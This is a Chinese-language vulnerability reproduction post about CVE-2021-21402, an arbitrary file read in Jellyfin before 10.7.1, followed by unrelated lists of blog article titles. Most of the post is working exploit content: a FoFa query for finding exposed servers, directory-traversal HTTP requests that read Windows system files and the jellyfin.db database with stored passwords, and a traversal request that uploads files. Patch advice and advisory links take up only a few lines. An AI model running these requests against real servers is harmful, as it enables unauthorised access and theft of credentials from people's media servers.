CVE-2021-21402 Jellyfin任意文件读取

漏洞简介

jellyfin 是一个自由的软件媒体系统,用于控制和管理媒体和流媒体。它是 emby 和 plex 的替代品,它通过多个应用程序从专用服务器向终端用户设备提供媒体。Jellyfin 属于 Emby 3.5.2 的下一代,并移植 .NET 核心框架,以支持完全的跨平台支持。

Jellyfin10.7.1版本中,攻击者恶意构造请求将允许从Jellyfin服务器的文件系统中读取任意文件。当Windows用作主机OS时,此问题更加普遍。暴露于公共Internet的服务器可能会受到威胁。在版本10.7.1中已修复此问题。解决方法是,用户可以通过在文件系统上实施严格的安全权限来限制某些访问。

影响版本:

Jellyfin<10.7.1

漏洞复现

注:互联网资产非授权请勿测试

FoFa搜索:"Jellyfin"

POC:

GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1

GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1

GET /Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1

要下载的PoC c:\temp\filename.jpg:
GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1
GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1
POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1
...
X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..."
... {"language":".\\..\\","format":".\\..\\test.bin","isForced":false,"data":"base64 encoded data"}

读取文件:

可以读取未经身份验证的任意文件
/Audio/{Id}/hls/{segmentId}/stream.mp3
/Audio/{Id}/hls/{segmentId}/stream.aac

不管是.mp3还是.aac都是可以未经授权读取windows的文件的。通过在URL路径中使用斜杠,返回一个空扩展名,从而获得对结果文件路径的完全控制。

GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.aac/ HTTP/1.1
GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ HTTP/1.1

读取host文件
GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts/stream.mp3

读取带有密码的数据库文件:
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1

修复建议:

  • 更新至10.7.1版本。
  • 在Web应用防火墙上添加防护规则。

参考链接:

https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1

https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/

https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx

https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7

最新文章

  1. JBoss-7.1.1 http访问端口修改
  2. Runtime类
  3. CentOS6.4 安装SSDB
  4. 颜色表及html代码
  5. [工作积累] Software keyboard not shown on Activity.onCreate
  6. visual asssit 过期提示
  7. IOS 免受xib自动布局影响
  8. onethink和phpwind共享
  9. Saltstack自动化运维
  10. ●BZOJ 1969 [Ahoi2005]LANE 航线规划
  11. Delphi下MSMQ(Mircosoft Message Queue)实例(私有队列)
  12. Python——Label控件说明
  13. pt-table-sync同步报错Called not_in_left in state 0 at /usr/bin/pt-table-sync line 5231【原创】
  14. 3.1 eureka自我保护
  15. ssh 绕过The authenticity of host &#39;*.*.*.*&#39; can&#39;t be established 直接输入密码
  16. JavaScript之使用AJAX(适合初学者)
  17. react 脚手架--create-react-app
  18. java的InputStream和OutputStream的理解
  19. 包学会之浅入浅出Vue.js:开学篇(转)
  20. 使用conlleval.pl对CRF测试结果进行评价的方法

热门文章

  1. CSS animation &amp; CSS animation 101
  2. js &amp; disabled right click &amp; disabled right menu
  3. 【Android初级】如何实现一个有动画效果的自定义下拉菜单
  4. 死磕Spring之IoC篇 - BeanDefinition 的加载阶段(XML 文件)
  5. 换人!golang面试官:连怎么避免内存逃逸都不知道?
  6. 硬件交互 snmp 使用
  7. socket短连接太多,accept次数很多导致主线程CPU占满,工作线程CPU占用率低
  8. 后端程序员之路 42、Semaphore
  9. [UNP] TCP 多进程服务器
  10. 【白话科普】CDN &amp; 游戏加速器,两者是一个原理吗?